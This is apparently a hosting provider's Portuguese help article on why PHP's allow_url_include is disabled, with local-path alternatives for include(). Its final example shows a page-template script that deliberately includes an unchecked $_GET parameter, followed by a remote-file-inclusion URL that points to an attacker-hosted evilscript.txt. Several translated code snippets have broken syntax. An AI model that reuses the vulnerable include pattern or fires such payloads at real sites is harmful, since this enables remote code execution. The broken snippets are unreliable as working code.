Allow url include
Índice |
Visão Geral
A opção allow_url_include PHP normalmente permite que um programador inclua () um arquivo remoto (como código PHP) usando uma URL em vez de um caminho de arquivo local. Por razões de segurança, a Integrador tem desativado esta ferramenta. Se um script exige esse recurso, você deve olhar para software alternativo, pois o uso deste recurso indica sérias falhas de projeto.
Por que isso é ruim?
Há uma série de razões pelas quais URL include sempre devem ser evitadas:
- É inseguro - pois sua aplicação pode ser enganada incluindo o conteúdo a partir de uma URL fora de si (e há uma série de maneiras comuns isso pode acontecer), um invasor pode forçar o aplicativo para iniciar a execução de código a partir de seu próprio site.
- É ineficiente - se o seu script PHP inclui conteúdo a patir de uma URL, o servidor web deve fazer solicitações HTTP para gerar a página. Isso faz com que o carregamento da página fique muito mais lento do que o necessário, especialmente se o site que você está carregando conteúdo está respondendo lentamente.
- É incerto, pelas mesmas razões - se o servidor web que você está carregando o conteúdo ocasionalmente não responder, o site também às vezes falha ao carregar corretamente.
- Geralmente é desnecessária - na maioria dos casos, allow_url_include pode ser evitado, incluindo o conteúdo diretamente (se ele está sendo carregado a partir de um domínio que você hospedar) ou carregar e imprimir o conteúdo sem avaliá-lo como PHP.
Server-side includes
Muitos desenvolvedores de include de arquivos, apontam para uma URL remota, mesmo se o arquivo estiver no sistema local. Por exemplo:
<?php include(“http://example.com/includes/example_include.php"); ?>
Com allow_url_include deficiente, este método não funciona. Em vez disso, o arquivo deve ser incluído com um caminho local, e existem três métodos de se fazer isso:
- Ao usar um caminho relativo, como ../includes/example_include.php.
- Usando um caminho absoluto (também conhecido como relativo-da-raiz), tais como /home/username/example.com/includes/example_include.php.
- Ao usar o ambiente PHP variável $ _SERVER ['DOCUMENT_ROOT'], que retorna o caminho absoluto para o diretório raiz web. Esta é de longe a melhor solução (e mais portátil). O exemplo a seguir mostra a variável de ambiente em ação.
Exemplo Include
<?php include($ _ SERVER ['DOCUMENT_ROOT'] "/ includes / example_include.php".); ?>
Diferenças de processamento (e variáveis que passam para um arquivo include)
Vale ressaltar que as soluções alternativas apresentadas aqui resulta em uma diferença na forma como a include (função) é tratado. As soluções alternativas retornam o código PHP a partir da página incluída. No entanto, o método de URL remota agora indisponíveis-retorna o resultado a partir da página incluída. Um resultado desse comportamento é que você não pode passar uma seqüência de consulta usando as soluções alternativas. Define-se as variáveis localmente antes de realizar o include, como pode ser visto no exemplo a seguir.
Exemplo
Para conseguir o efeito do seguinte conteúdo:
<?php include(“http://example.com/includes/example_include.php?var=example"); ?>
você deverá usar da seguinte forma:
<?php $var = "exemplo"; include(. $ _ SERVER ['DOCUMENT_ROOT'] "/ includes / example_include.php"); ?>
Adicionando flexibilidade
Para uma flexibilidade máxima (quando múltiplos includes são necessários, por exemplo), pode ser mais fácil criar uma variável:
<?php $doc_root = $ _SERVER ['DOCUMENT_ROOT']; include("$ doc_root / inclui / example_include.php"); include("$ doc_root / inclui / example_include2.php"); include("$ doc_root / inclui / example_include3.php"); include("$ doc_root / inclui / example_include4.php"); ?>
NOTA: A técnica funciona da mesma maneira, independentemente de se você estiver usando o include () ou require ().
Definindo o include_path
Você também pode definir explicitamente a diretiva do PHP, "include_path", na mosca:
<?php ini_set('include_path', ini_get('include_path').':'.$_SERVER['DOCUMENT_ROOT'].'/includes'); include('example_include.php'); include('example_include2.php'); include('example_include3.php'); include('example_include4.php'); ?>
Exemplo de exploração
Um uso comum do server-side includes é criar algum tipo de modelo de site. Muitas vezes, uma única página com um cabeçalho e um rodapé é alimentado de diferentes conteúdo usando uma sequência de consulta. Aqui está um exemplo típico de script:
<?php $page = ($_GET['page']) ? $_GET['page'] : "default.php"; ?> <html> <head> <title>This page is easy to exploit</title> </head> <body> header... <?php include($page); ?> footer... </body> </html>
O conteúdo da página pode ser variado, anexando uma cadeia de consulta para o URL:
http://example.com/index.php?page=varied.php
Se allow_url_include está ativado, este sistema pode ser explorado simplesmente mudando o valor da variável na cadeia de consulta:
http://example.com/index.php?page=http://crackerscum.net/evilscript.txt?
Nota final
Apenas diga não. Ativar o allow_url_include é uma péssima idéia que expõe o seu site, e os sites de outros em seu servidor compartilhado, a riscos desnecessários.